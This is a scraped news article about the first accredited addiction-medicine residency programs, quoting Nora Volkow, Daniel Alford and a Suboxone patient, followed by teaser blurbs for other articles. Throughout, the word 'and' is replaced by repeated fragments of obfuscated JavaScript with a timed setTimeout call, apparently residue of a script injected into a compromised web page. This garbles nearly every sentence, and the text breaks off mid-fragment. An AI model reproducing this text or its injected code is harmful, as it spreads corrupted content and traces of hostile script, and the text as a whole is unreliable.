Increasingly, the medical establishment is putting its weight behind the physical diagnosis. In the latest evidence, 10 medical institutions have just introduced the first accredited residency programs in addiction medicine, where doctors who have completed medical school andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and a primary residency will be able to spend a year studying the relationship between addiction andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and brain chemistry.

“This is a first step toward bringing recognition, respectability andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and rigor to addiction medicine,” said David Withers, who oversees the new residency program at the Marworth Alcohol andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and Chemical Dependency Treatment Center in Waverly, Pa.

The goal of the residency programs, which started July 1 with 20 students at the various institutions, is to establish addiction medicine as a standom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andard specialty along the lines of pediatrics, oncology or dermatology. The residents will treat patients with a range of addictions — to alcohol, drugs, prescription medicines, nicotine andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and more — andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and study the brain chemistry involved, as well as the role of heredity.

“In the past, the specialty was very much targeted toward psychiatrists,” said Nora D. Volkow, the neuroscientist in charge of the National Institute on Drug Abuse. “It’s a gap in our training program.” She called the lack of substance-abuse education among general practitioners “a very serious problem.”

Institutions offering the one-year residency are St. Luke’s-Roosevelt Hospital in New York, the University of Marylandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and Medical System, the University at Buffalo School of Medicine, the University of Cincinnati College of Medicine, the University of Minnesota Medical School, the University of Florida College of Medicine, the John A. Burns School of Medicine at the University of Hawaii, the University of Wisconsin School of Medicine andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and Public Health, Marworth andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and Boston University Medical Center. Some, like Marworth, have been offering programs in addiction medicine for years, simply without accreditation.

The new accreditation comes courtesy of the American Board of Addiction Medicine, or ABAM, which was founded in 2007 to help promote the medical treatment of addiction.

The board aims to also get the program accredited by the Accreditation Council for Graduate Medical Education, a step that requires, among other things, establishing the program at a minimum of 20 institutions. The recognition would mean that the addictions specialty would qualify as a “primary” residency, one that a newly minted doctor could enter right out of school.

Richard Blondell, the chairman of the training committee at ABAM, said the group expected to accredit an additional 10 to 15 institutions this year.

The rethinking of addiction as a medical disease rather than a strictly psychological one began about 15 years ago, when researchers discovered through high-resonance imaging that drug addiction resulted in actual physical changes to the brain.

Armed with that understandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}anding, “the management of folks with addiction becomes very much like the management of other chronic diseases, such as asthma, hypertension or diabetes,” said Dr. Daniel Alford, who oversees the program at Boston University Medical Center. “It’s hard necessarily to cure people, but you can certainly manage the problem to the point where they are able to function” through a combination of pharmaceuticals andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and therapy.

Central to the understandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}anding of addiction as a physical ailment is the belief that treatment must be continuing in order to avoid relapse. Just as no one expects a diabetes patient to be cured after six weeks of diet andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and insulin management, Dr. Alford said, it is unrealistic to expect most drug addicts to be cured after 28 days in a detoxification facility.

“It’s not surprising to us now that when you stop the treatment, people relapse,” Dr. Alford said. “It doesn’t mean that the treatment doesn’t work, it just means that you need to continue treatment.” Those physical changes in the brain could also explain why some smokers will still crave a cigarette 30 years after quitting, Dr. Alford said.

If the idea of addiction as a chronic disease has been slow to take hold in medical circles, it could be because doctors sometime struggle to grasp brain function, Dr. Volkow said. “While it is very simple to understandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and a disease of the heart — the heart is very simple, it’s just a muscle — it’s much more complex to understandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and the brain,” she said.

Increasing interest in addiction medicine is a handom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andful of promising new pharmaceuticals, most notably buprenorphine (sold under names like Suboxone), which has proved to ease withdrawal symptoms in heroin addicts andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and subsequently block cravings, though it causes side effects of its own. Other drugs for treating opioid or alcohol dependence have shown promise as well.

Few addiction medicine specialists advocate a path to recovery that depends solely on pharmacology, however. “The more we learn about the treatment of addiction, the more we realize that one size does not fit all,” said Petros Levounis, who is in charge of the residency at the Addiction Institute of New York at St. Luke’s-Roosevelt Hospital.

Equally maligned is the idea that psychiatry or 12-step programs are adequate for curing a disease with physical roots. Many people who abuse substances do not have psychiatric problems, Dr. Alford noted, adding, “I think there’s absolutely a role for addiction psychiatrists.”

While each institution has developed its own curriculum, the basic competencies each seeks to impart are the same. Residents will learn to recognize andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and diagnose substance abuse, conduct brief interventions that spell out the treatment options andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and prescribe the proper medications. The doctors will also be expected to understandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and the legal andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and practical implications of substance abuse.

Christine Pace, a 31-year-old graduate of Harvard Medical School, is the first addiction resident at Boston University Medical Center. She got interested in the subject as a teenager, when she volunteered at an AIDS organization andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and overheard heroin addicts complaining about doctors who could not — or would not — help them.

This year, when she became the in-house doctor at a methadone clinic in Boston, she was dismayed to find that the complaints had not changed. “I saw physicians over andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and over again pushing it aside, just calling a social-work consult to deal with a patient who is struggling with addiction,” Dr. Pace said.

One of her patients is Derek Anderson, 53, who credits Suboxone — as well as a general practitioner who six years ago recognized his signs of addiction — with helping him kick his 35-year heroin habit.  

“I used to go to detoxes andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and go back andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and forth andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and back andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and forth,” he said. But the Suboxone “got me to where I don’t have the dependency every day, consuming you, swallowing you like a fish in water. I’m able to work now, I’m able to take care of my daughter, I’m able to pay rent — all the things I couldn’t do when I was using.”

by Emily Deans, M.D.

More evidence that perinatal factors affect us in unexpected ways.

by Michael J. Formica

Our ideas about the way the world works are based, in part, upon our expectations. Those expectations color our experience – for good or ill – andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and can influence our reactions andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and responses to just about everything andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and everyone that we encounter. We can release ourselves from this self-created trap of expectation by following a few simple steps.

Virtually every social transaction we encounter offers us some sort of instruction, andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and those instructions, in turn, inform our belief systems. These belief systems are the very thing upon which our expectations are based.

Expectations help us form a world view, but they can also skew that world view in unexpected –andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and sometimes unwanted — ways.  Releasing our expectations andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and entering into the world with fresh perspective in every moment, we can enrich andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 